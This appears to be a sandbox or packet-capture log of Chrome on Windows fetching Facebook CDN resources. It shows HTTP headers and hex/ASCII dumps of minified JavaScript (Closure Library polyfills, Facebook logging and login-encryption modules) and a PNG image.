2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 70 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 6c 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 72 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 Data Ascii: p;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&l(c,a,{configurable:!0,writable:!0,value:b})}}r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 72 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 Data Ascii: type.entries",function(a){return a?a:function(){return u(this,function(b,c){return[b,c]})}});r("Array.prototype.keys",function(a){return a?a:function(){return u(this,function(b){return b})}});/* Copyright The Closure Library Authors. SPDX-License-Ident
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 28 42 21 3d 3d 42 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 61 66 65 53 74 79 6c 65 20 69 73 20 6e 6f 74 20 6d 65 61 6e 74 20 74 6f 20 62 65 20 62 75 69 6c 74 20 64 69 72 65 63 74 6c 79 22 29 3b 7d 43 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 22 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 6e 65 77 20 43 3b 76 61 72 20 65 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 66 61 28 29 7b 69 66 28 65 61 21 3d 3d 65 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 61 66 65 53 74 79 6c 65 53 68 65 65 74 20 69 73 20 6e 6f 74 20 6d 65 61 6e 74 20 74 6f 20 62 65 20 62 75 69 6c 74 20 64 69 72 65 63 74 6c 79 22 29 3b 7d 66 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f Data Ascii: (B!==B)throw Error("SafeStyle is not meant to be built directly");}C.prototype.toString=function(){return"".toString()};new C;var ea={};function fa(){if(ea!==ea)throw Error("SafeStyleSheet is not meant to be built directly");}fa.prototype.toString=functio
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 73 61 29 3b 72 65 74 75 72 6e 20 45 7d 3b 2f 2a 0a 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 74 61 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 75 61 28 61 29 7b 76 61 72 20 62 3b 69 66 28 62 3d 47 28 48 28 29 2c 22 73 61 66 65 76 61 6c 75 65 73 22 29 2e 47 29 7b 61 3d 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 3b 76 61 72 20 63 3b 69 66 28 63 3d 62 29 69 66 28 63 3d 62 26 26 6b 61 29 7b 63 3d 6b 61 2e 76 61 6c 75 65 3b 76 61 72 20 64 3d 62 3f 71 61 28 47 28 48 28 29 2c 62 2e 67 28 29 29 29 3a 6a 61 3b 63 3d 63 3e 3d 64 2e 76 61 6c 75 65 7d 63 26 26 28 62 3d 47 28 48 28 Data Ascii: sa);return E};/* SPDX-License-Identifier: Apache-2.0*/var ta=[];function ua(a){var b;if(b=G(H(),"safevalues").G){a="A URL with content '"+a+"' was sanitized away.";var c;if(c=b)if(c=b&&ka){c=ka.value;var d=b?qa(G(H(),b.g())):ja;c=c>=d.value}c&&(b=G(H(
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 2c 4f 29 3b 4f 3d 4e 2e 63 6f 6e 66 69 67 3b 66 75 6e 63 74 69 6f 6e 20 78 61 28 61 29 7b 76 61 72 20 62 3d 50 28 29 3b 61 20 69 6e 20 62 26 26 64 65 6c 65 74 65 20 62 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 79 61 28 29 7b 76 61 72 20 61 3d 50 28 29 3b 66 6f 72 28 62 20 69 6e 20 61 29 7a 61 28 61 5b 62 5d 29 7c 7c 64 65 6c 65 74 65 20 61 5b 62 5d 3b 61 3d 50 28 29 3b 76 61 72 20 62 3d 70 61 72 73 65 49 6e 74 28 4f 5b 22 63 61 63 68 65 2d 6d 61 78 22 5d 2c 31 30 29 3b 62 3d 69 73 4e 61 4e 28 62 29 3f 49 6e 66 69 6e 69 74 79 3a 62 3b 62 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 61 29 2e 6c 65 6e 67 74 68 2d 62 3b 69 66 28 21 28 30 3e 3d 62 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 49 6e 66 69 6e 69 74 79 2c 65 3b 66 Data Ascii: ,O);O=N.config;function xa(a){var b=P();a in b&&delete b[a]}function ya(){var a=P();for(b in a)za(a[b])\|\|delete a[b];a=P();var b=parseInt(O["cache-max"],10);b=isNaN(b)?Infinity:b;b=Object.keys(a).length-b;if(!(0>=b))for(var c=0;c<b;c++){var d=Infinity,e;f
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 61 67 65 22 2c 61 2c 21 31 29 3a 77 69 6e 64 6f 77 2e 64 65 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6d 65 73 73 61 67 65 22 2c 61 29 7d 0a 76 61 72 20 46 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 62 3d 21 31 7d 69 66 28 21 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 62 3d 21 30 3b 44 61 28 61 29 3b 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 22 22 2c 22 2a 22 29 3b 45 61 28 61 29 3b 72 65 74 75 72 6e 20 62 7d 28 29 2c 54 3d 7b 7d 3b 22 61 73 79 6e 63 2d 64 65 66 65 72 73 22 69 6e 20 4e 7c 7c 4d 28 22 61 73 79 6e 63 2d 64 65 66 65 72 73 22 2c 54 29 3b 54 3d 4e 5b 22 61 73 79 6e 63 2d 64 65 66 65 72 Data Ascii: age",a,!1):window.detachEvent&&window.detachEvent("onmessage",a)}var Fa=function(){function a(){b=!1}if(!window.postMessage)return!1;var b=!0;Da(a);window.postMessage("","*");Ea(a);return b}(),T={};"async-defers"in N\|\|M("async-defers",T);T=N["async-defer
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 64 65 6e 74 69 66 69 65 72 3a 20 4d 49 54 0a 2a 2f 0a 66 75 6e 63 74 69 6f 6e 20 4e 61 28 61 2c 62 2c 63 29 7b 69 66 28 62 29 7b 62 3d 5b 5d 3b 76 61 72 20 64 3d 30 3b 63 26 26 28 61 2b 3d 22 5c 72 5c 6e 22 29 3b 76 61 72 20 65 3d 61 2e 69 6e 64 65 78 4f 66 28 22 5b 5c 72 5c 6e 22 2c 64 29 3b 66 6f 72 28 2d 31 3c 65 26 26 28 64 3d 65 2b 33 29 3b 2d 31 3c 28 65 3d 61 2e 69 6e 64 65 78 4f 66 28 22 2c 5c 72 5c 6e 22 2c 64 29 29 3b 29 7b 76 61 72 20 66 3d 52 28 61 2e 73 75 62 73 74 72 69 6e 67 28 64 2c 65 29 29 3b 64 3d 65 2b 33 3b 66 26 26 62 2e 70 75 73 68 28 4a 53 4f 4e 2e 70 61 72 73 65 28 66 29 29 7d 65 3d 61 2e 69 6e 64 65 78 4f 66 28 22 5d 5c 72 5c 6e 22 2c 64 29 3b 2d 31 3c 65 26 26 28 66 3d 52 28 61 2e 73 75 62 73 74 72 69 6e 67 28 64 2c 65 29 29 2c Data Ascii: dentifier: MIT*/function Na(a,b,c){if(b){b=[];var d=0;c&&(a+="\r\n");var e=a.indexOf("[\r\n",d);for(-1<e&&(d=e+3);-1<(e=a.indexOf(",\r\n",d));){var f=R(a.substring(d,e));d=e+3;f&&b.push(JSON.parse(f))}e=a.indexOf("]\r\n",d);-1<e&&(f=R(a.substring(d,e)),
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 61 73 63 72 69 70 74 22 29 7c 7c 2d 31 21 3d 65 5b 31 5d 2e 69 6e 64 65 78 4f 66 28 22 2f 65 63 6d 61 73 63 72 69 70 74 22 29 29 3f 28 62 2e 73 63 72 69 70 74 73 2e 70 75 73 68 28 7b 75 72 6c 3a 68 2c 74 65 78 74 3a 66 2c 6e 61 6d 65 3a 64 2c 61 73 79 6e 63 3a 6b 7d 29 2c 22 22 29 3a 63 7d 72 65 74 75 72 6e 22 73 74 79 6c 65 22 3d 3d 64 26 26 28 64 3d 28 64 3d 65 2e 6d 61 74 63 68 28 58 29 29 3f 64 5b 31 5d 3a 22 22 2c 65 3d 53 61 2e 65 78 65 63 28 65 29 2c 65 3d 21 65 7c 7c 2d 31 21 3d 65 5b 31 5d 2e 69 6e 64 65 78 4f 66 28 22 74 65 78 74 2f 63 73 73 22 29 29 3f 28 62 2e 73 74 79 6c 65 73 2e 70 75 73 68 28 7b 75 72 6c 3a 22 22 2c 74 65 78 74 3a 66 2c 6e 61 6d 65 3a 64 7d 29 2c 22 22 29 3a 63 7d 29 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 54 61 2c 66 75 6e Data Ascii: ascript")\|\|-1!=e[1].indexOf("/ecmascript"))?(b.scripts.push({url:h,text:f,name:d,async:k}),""):c}return"style"==d&&(d=(d=e.match(X))?d[1]:"",e=Sa.exec(e),e=!e\|\|-1!=e[1].indexOf("text/css"))?(b.styles.push({url:"",text:f,name:d}),""):c});a=a.replace(Ta,fun
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 63 61 6c 6c 28 67 29 7d 3b 67 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 71 3d 67 2e 74 69 6d 69 6e 67 3b 69 66 28 32 3d 3d 67 2e 72 65 61 64 79 53 74 61 74 65 29 7b 71 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3d 71 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7c 7c 4a 28 29 3b 69 66 28 22 6a 73 6f 6e 22 3d 3d 67 2e 72 65 73 70 6f 6e 73 65 54 79 70 65 29 66 3d 21 31 3b 65 6c 73 65 20 69 66 28 4f 5b 22 61 73 73 75 6d 65 2d 61 6c 6c 2d 6a 73 6f 6e 2d 72 65 71 75 65 73 74 73 2d 63 68 75 6e 6b 65 64 22 5d 7c 7c 2d 31 3c 28 67 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 22 29 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e Data Ascii: call(g)};g.onreadystatechange=function(){var q=g.timing;if(2==g.readyState){q.responseStart=q.responseStart\|\|J();if("json"==g.responseType)f=!1;else if(O["assume-all-json-requests-chunked"]\|\|-1<(g.getResponseHeader("Transfer-Encoding")\|\|"").toLowerCase().

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49832	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	672	OUT	GET /rsrc.php/v3/yB/r/Y0L6f5sxdIV.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://static.xx.fbcdn.net/rsrc.php/v3/y1/l/0,cross/ZMAH_LE0voZ.css?_nc_x=Ij3Wp8lg5Kz Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:56 UTC	1188	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: hFRfTj3CmfIMC+ZxDLCYWA== Expires: Wed, 15 Jan 2025 11:23:33 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: origin-agent-cluster: ?0 X-FB-Debug: kvPjkByAiYPzV5czRATbHABB37OyPkWIOHMAgHMItcFcdPJhoBam72aIr9x6o8YIEAKVq4axERTipaAqQikLRw== Date: Wed, 17 Jan 2024 23:34:56 GMT Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 6739
2024-01-17 23:34:56 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-01-17 23:34:56 UTC	1500	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 1b 00 00 01 3b 08 03 00 00 00 da 5f d5 25 00 00 02 fd 50 4c 54 45 47 70 4c 7e 83 85 9a 9f a1 d1 d7 d9 1a 25 2f ff ff ff 39 40 47 ff ff ff ff ff ff e0 e5 e7 00 00 00 ff ff ff f4 f6 f8 ff ff ff ff ff fe 00 00 00 ff ff ff ff ff ff ff ff ff f5 f7 f8 fd fd fe ff ff ff f8 f9 f9 ff ff ff fc fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fd ff ff ff ff ff ff ff ff ff ee f3 f4 ff ff ff 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 1e 29 33 8e 93 95 ff ff ff 44 4b 52 c2 c2 c2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 2d 36 2a 31 37 c2 c7 ca ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 64 67 6b 64 6c 73 cf d4 d7 65 67 Data Ascii: PNGIHDR;_%PLTEGpL~%/9@G)3DKR$-6*17dgkdlseg
2024-01-17 23:34:56 UTC	5238	IN	Data Raw: 98 67 93 13 e6 82 82 ea 95 cd aa 30 17 14 52 af 6c 26 85 b9 20 4a 24 34 fe 60 66 2a fc 74 68 c1 b9 6c 36 85 b9 20 ba 42 64 33 3a 14 c2 4a b4 16 20 56 43 7c f9 4c 9c 0b 9a 21 92 59 99 80 ef e8 f0 06 b9 f0 08 8b b8 28 17 ed 65 97 2f 84 89 5c 66 28 58 f9 2d cf c5 02 70 83 73 89 c6 12 ec 98 2f cc 13 a9 4c 5a a2 b1 1f c4 dd 05 34 30 97 73 45 be b0 46 64 b2 4a c1 ee f1 1c 41 b7 a8 30 17 94 c7 af 12 89 04 28 fc df 93 11 82 a8 30 17 d4 91 ef 25 7e 87 02 d2 72 b5 5c 04 50 98 20 2a cc 05 f5 30 9b 9b 44 16 b7 97 01 6d 57 18 63 85 0c 70 74 f6 27 1f 66 23 ca 05 bd 07 ce 47 64 31 03 a8 8e 37 40 4f c1 44 fd e1 c0 e2 18 15 e6 82 2a c0 6d 10 49 2c 2e 81 ad 4c 1a 1a 58 9d d8 73 11 66 f3 ab 6c e7 4f 1f cc 79 28 a4 c1 89 66 e6 22 ce e6 2e 91 83 cf 8f 53 61 30 ae 94 02 1b a7 Data Ascii: g0Rl& J$4`fthl6 Bd3:J VC\|L!Y(e/\f(X-ps/LZ40sEFdJA0(0%~r\P 0DmWcpt'f#Gd17@OD*mI,.LXsflOy(f".Sa0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49833	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	599	OUT	GET /rsrc.php/v3/yq/r/6bjw9N12j0I.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:56 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: aV+bftfuDIrvMpwUjL1rrQ== Expires: Wed, 15 Jan 2025 00:57:28 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: kr/0vQI44//6I2BMJePIycG1NigHCoWzdSVfltO2JZAqxI9OgGEEzefTt6yO3x4W0ww4QNHBZZPEztNQnRBJxQ== Date: Wed, 17 Jan 2024 23:34:56 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 71201
2024-01-17 23:34:56 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:56 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 4c 6f 67 67 65 64 4f 75 74 53 77 69 74 63 68 69 6e 67 4c 6f 63 61 6c 65 54 79 70 65 64 4c 6f 67 67 65 72 22 2c 5b 22 42 61 6e 7a 61 69 22 2c 22 47 65 6e 65 72 61 74 65 64 4c 6f 67 67 65 72 55 74 69 6c 73 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 24 31 3d 7b 7d 7d 76 61 72 20 63 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 63 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 62 28 22 47 65 6e 65 72 61 74 65 64 4c 6f 67 67 65 72 55 74 69 6c 73 22 29 2e 6c 6f 67 28 22 6c 6f 67 67 65 72 3a 4c 6f 67 67 65 64 4f 75 74 53 77 69 74 63 Data Ascii: /FB_PKG_DELIM/__d("LoggedOutSwitchingLocaleTypedLogger",["Banzai","GeneratedLoggerUtils"],(function(a,b,c,d,e,f){"use strict";a=function(){function a(){this.$1={}}var c=a.prototype;c.log=function(a){b("GeneratedLoggerUtils").log("logger:LoggedOutSwitc
2024-01-17 23:34:56 UTC	14972	IN	Data Raw: 61 29 7b 62 28 22 47 65 6e 65 72 61 74 65 64 4c 6f 67 67 65 72 55 74 69 6c 73 22 29 2e 6c 6f 67 28 22 6c 6f 67 67 65 72 3a 4b 65 79 62 6f 61 72 64 41 63 74 69 76 69 74 79 4c 6f 67 67 65 72 43 6f 6e 66 69 67 22 2c 74 68 69 73 2e 24 31 2c 7b 73 69 67 6e 61 6c 3a 21 30 7d 2c 61 29 7d 3b 63 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 24 31 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 67 65 74 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 61 62 65 6c 48 65 6c 70 65 72 73 5b 22 65 78 74 65 6e 64 73 22 5d 28 7b 7d 2c 74 68 69 73 2e 24 31 29 7d 3b 63 2e 75 70 64 61 74 65 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 31 3d 62 61 62 65 6c 48 65 6c 70 65 72 73 5b 22 65 78 74 65 6e Data Ascii: a){b("GeneratedLoggerUtils").log("logger:KeyboardActivityLoggerConfig",this.$1,{signal:!0},a)};c.clear=function(){this.$1={};return this};c.getData=function(){return babelHelpers["extends"]({},this.$1)};c.updateData=function(a){this.$1=babelHelpers["exten
2024-01-17 23:34:56 UTC	16384	IN	Data Raw: 3c 31 36 3b 6a 2b 2b 29 68 5b 6a 5d 3d 30 3b 66 6f 72 28 6a 3d 30 3b 6a 3c 38 3b 6a 2b 2b 29 68 5b 6a 5d 3d 66 5b 6a 5d 3b 77 68 69 6c 65 28 65 3e 3d 36 34 29 7b 74 28 69 2c 68 2c 67 2c 76 29 3b 66 6f 72 28 6a 3d 30 3b 6a 3c 36 34 3b 6a 2b 2b 29 61 5b 62 2b 6a 5d 3d 63 5b 64 2b 6a 5d 5e 69 5b 6a 5d 3b 66 3d 31 3b 66 6f 72 28 6a 3d 38 3b 6a 3c 31 36 3b 6a 2b 2b 29 66 3d 66 2b 28 68 5b 6a 5d 26 32 35 35 29 7c 30 2c 68 5b 6a 5d 3d 66 26 32 35 35 2c 66 3e 3e 3e 3d 38 3b 65 2d 3d 36 34 3b 62 2b 3d 36 34 3b 64 2b 3d 36 34 7d 69 66 28 65 3e 30 29 7b 74 28 69 2c 68 2c 67 2c 76 29 3b 66 6f 72 28 6a 3d 30 3b 6a 3c 65 3b 6a 2b 2b 29 61 5b 62 2b 6a 5d 3d 63 5b 64 2b 6a 5d 5e 69 5b 6a 5d 7d 72 65 74 75 72 6e 20 30 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 62 2c 63 2c Data Ascii: <16;j++)h[j]=0;for(j=0;j<8;j++)h[j]=f[j];while(e>=64){t(i,h,g,v);for(j=0;j<64;j++)a[b+j]=c[d+j]^i[j];f=1;for(j=8;j<16;j++)f=f+(h[j]&255)\|0,h[j]=f&255,f>>>=8;e-=64;b+=64;d+=64}if(e>0){t(i,h,g,v);for(j=0;j<e;j++)a[b+j]=c[d+j]^i[j]}return 0}function x(a,b,c,
2024-01-17 23:34:56 UTC	16384	IN	Data Raw: 3d 49 3b 42 3d 51 3b 43 3d 42 26 36 35 35 33 35 3b 44 3d 42 3e 3e 3e 31 36 3b 45 3d 41 26 36 35 35 33 35 3b 46 3d 41 3e 3e 3e 31 36 3b 41 3d 61 5b 32 5d 3b 42 3d 62 5b 32 5d 3b 43 2b 3d 42 26 36 35 35 33 35 3b 44 2b 3d 42 3e 3e 3e 31 36 3b 45 2b 3d 41 26 36 35 35 33 35 3b 46 2b 3d 41 3e 3e 3e 31 36 3b 44 2b 3d 43 3e 3e 3e 31 36 3b 45 2b 3d 44 3e 3e 3e 31 36 3b 46 2b 3d 45 3e 3e 3e 31 36 3b 61 5b 32 5d 3d 49 3d 45 26 36 35 35 33 35 7c 46 3c 3c 31 36 3b 62 5b 32 5d 3d 51 3d 43 26 36 35 35 33 35 7c 44 3c 3c 31 36 3b 41 3d 4a 3b 42 3d 52 3b 43 3d 42 26 36 35 35 33 35 3b 44 3d 42 3e 3e 3e 31 36 3b 45 3d 41 26 36 35 35 33 35 3b 46 3d 41 3e 3e 3e 31 36 3b 41 3d 61 5b 33 5d 3b 42 3d 62 5b 33 5d 3b 43 2b 3d 42 26 36 35 35 33 35 3b 44 2b 3d 42 3e 3e 3e 31 36 3b 45 Data Ascii: =I;B=Q;C=B&65535;D=B>>>16;E=A&65535;F=A>>>16;A=a[2];B=b[2];C+=B&65535;D+=B>>>16;E+=A&65535;F+=A>>>16;D+=C>>>16;E+=D>>>16;F+=E>>>16;a[2]=I=E&65535\|F<<16;b[2]=Q=C&65535\|D<<16;A=J;B=R;C=B&65535;D=B>>>16;E=A&65535;F=A>>>16;A=a[3];B=b[3];C+=B&65535;D+=B>>>16;E
2024-01-17 23:34:56 UTC	16295	IN	Data Raw: 3d 63 28 22 44 4f 4d 22 29 2e 63 72 65 61 74 65 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 68 69 64 64 65 6e 22 2c 6e 61 6d 65 3a 22 65 6e 63 70 61 73 73 22 2c 76 61 6c 75 65 3a 62 7d 29 3b 69 2e 6c 6f 67 69 6e 46 6f 72 6d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 3b 65 2e 64 69 73 61 62 6c 65 64 3d 21 30 3b 61 28 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 64 3d 22 23 50 57 44 5f 42 52 4f 57 53 45 52 22 2c 65 3d 35 2c 66 3d 62 28 22 4c 6f 67 69 6e 53 65 72 76 69 63 65 50 61 73 73 77 6f 72 64 45 6e 63 72 79 70 74 44 65 63 72 79 70 74 45 76 65 6e 74 54 79 70 65 64 4c 6f 67 67 65 72 22 29 3b 6e 65 77 20 66 28 29 2e 73 65 74 45 72 72 6f 72 28 22 42 72 6f 77 73 65 72 45 6e 63 72 79 70 74 69 6f 6e 46 61 69 6c 75 72 65 49 6e 4c 6f 67 69 6e Data Ascii: =c("DOM").create("input",{type:"hidden",name:"encpass",value:b});i.loginForm.appendChild(b);e.disabled=!0;a()},function(c){var d="#PWD_BROWSER",e=5,f=b("LoginServicePasswordEncryptDecryptEventTypedLogger");new f().setError("BrowserEncryptionFailureInLogin
